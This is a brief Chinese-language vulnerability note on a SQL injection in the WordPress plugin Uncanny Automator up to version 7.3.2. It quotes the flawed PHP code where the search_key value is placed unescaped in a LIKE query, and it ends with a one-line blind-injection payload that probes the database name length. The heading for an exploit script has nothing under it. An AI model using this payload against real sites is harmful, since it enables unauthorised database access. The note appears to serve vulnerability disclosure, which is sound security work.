Uncanny Automator <=7.3.2
该漏洞源于src/global-functions.php约352-358行,sanitize_text_field() 只移除 HTML 标签和转义 HTML 实体,不会转义 SQL 通配符 (%, _),导致 LIKE 注入
src/core/admin/admin-logs/wp-list-table/class-logs-list-table.php
if ( automator_filter_has_var( 'search_key' ) && '' !== automator_filter_input( 'search_key' ) ) {$search_key = sanitize_text_field( automator_filter_input( 'search_key' ) );if ( $view_exists ) {$search_conditions .= " AND ( (recipe_title LIKE '%$search_key%') OR ... ) ";} else {$search_conditions .= " AND ( (p.post_title LIKE '%$search_key%') OR ... ) ";}}
程序位置 :

PoC:
') and (length(database())=**) and(1 like '1脚本:

夜雨聆风